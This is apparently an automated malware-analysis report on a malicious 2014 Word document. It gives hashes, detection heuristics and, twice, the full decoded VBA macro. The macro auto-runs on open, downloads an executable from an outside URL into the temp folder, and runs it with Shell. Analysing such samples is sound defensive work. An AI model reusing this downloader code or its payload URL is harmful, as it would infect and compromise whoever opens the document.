Office (OLE) malware analysis — malicious · 743ed5bbe80b860e

MALICIOUS

Office (OLE)

40.5 KB Created: 2014-05-31 16:09:00 Authoring application: Microsoft Office Word First seen: 2014-06-03

MD5: dd3e24697bb1538765cffab5af187cae SHA-1: 3aa9b3f9b21cf71f23962f3388321c7b445f8ff6 SHA-256: 743ed5bbe80b860e50602417669b64f254a201635cf80b33230b03de9cb859eb

274 Risk Score

Heuristics 11

ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    QJDDOA = Shell(LHJITR, 1)
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set NJBUGT = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
    Auto_Open
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

    FMUFDC "http://s1.directxex.com/uploads/XB4_Oo577yv1IktCb9JNQDsPIC6aUz5VuzqfzR2iBFBuW4wYuAhAEvk0nEUGnU80AQ1l8SlMdimvAuX7vuQYcAD1pje5Nv9TCNog", Environ("TMP") & "\HPKMFE.exe"

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://s1.directxex.com/uploads/XB4_Oo577yv1IktCb9JNQDsPIC6aUz5VuzqfzR2iBFBuW4wYuAhAEvk0nEUGnU80AQ1l8SlMdimvAuX7vuQYcAD1pje5Nv9TCNog� In document text (OLE body)
- http://s1.directxex.com/uploads/XB4_Oo577yv1IktCb9JNQDsPIC6aUz5VuzqfzR2iBFBuW4wYuAhAEvk0nEUGnU80AQ1l8SlMdimvAuX7vuQYcAD1pje5Nv9TCNogIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1235 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1235 bytes
SHA-256: `53ff19516683763ec179b7a31e311a76ab2046518ff5822962323504a2d86635`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Workbook_Open() Auto_Open End Sub Sub INPZIR() FMUFDC "http://s1.directxex.com/uploads/XB4_Oo577yv1IktCb9JNQDsPIC6aUz5VuzqfzR2iBFBuW4wYuAhAEvk0nEUGnU80AQ1l8SlMdimvAuX7vuQYcAD1pje5Nv9TCNog", Environ("TMP") & "\HPKMFE.exe" End Sub Function FMUFDC(ByVal CABZKM As String, ByVal LHJITR As String) As Boolean Dim NJBUGT As Object, YDLKHH As Long, CADRHR As Long, ARDXZG() As Byte Set NJBUGT = CreateObject("MSXML2.XMLHTTP") NJBUGT.Open "GET", CABZKM, False NJBUGT.Send "send request" Do While NJBUGT.readyState <> 4 DoEvents Loop ARDXZG = NJBUGT.responseBody CADRHR = FreeFile If Dir(LHJITR) <> "" Then Kill LHJITR Open LHJITR For Binary As #CADRHR Put #CADRHR, , ARDXZG Close #CADRHR Dim QJDDOA QJDDOA = Shell(LHJITR, 1) Set NJBUGT = Nothing End Function Sub Auto_Open() INPZIR End Sub Sub AutoOpen() Auto_Open End Sub

SHA-256: 53ff19516683763ec179b7a31e311a76ab2046518ff5822962323504a2d86635

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Workbook_Open()
    Auto_Open
End Sub
Sub INPZIR()
    FMUFDC "http://s1.directxex.com/uploads/XB4_Oo577yv1IktCb9JNQDsPIC6aUz5VuzqfzR2iBFBuW4wYuAhAEvk0nEUGnU80AQ1l8SlMdimvAuX7vuQYcAD1pje5Nv9TCNog", Environ("TMP") & "\HPKMFE.exe"
End Sub
Function FMUFDC(ByVal CABZKM As String, ByVal LHJITR As String) As Boolean
     Dim NJBUGT As Object, YDLKHH As Long, CADRHR As Long, ARDXZG() As Byte

    Set NJBUGT = CreateObject("MSXML2.XMLHTTP")
    NJBUGT.Open "GET", CABZKM, False
    NJBUGT.Send "send request"

    Do While NJBUGT.readyState <> 4
    DoEvents
    Loop

    ARDXZG = NJBUGT.responseBody

    CADRHR = FreeFile
    If Dir(LHJITR) <> "" Then Kill LHJITR
    Open LHJITR For Binary As #CADRHR
    Put #CADRHR, , ARDXZG
    Close #CADRHR
    
    Dim QJDDOA
    QJDDOA = Shell(LHJITR, 1)

    Set NJBUGT = Nothing
     
End Function
Sub Auto_Open()
INPZIR
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

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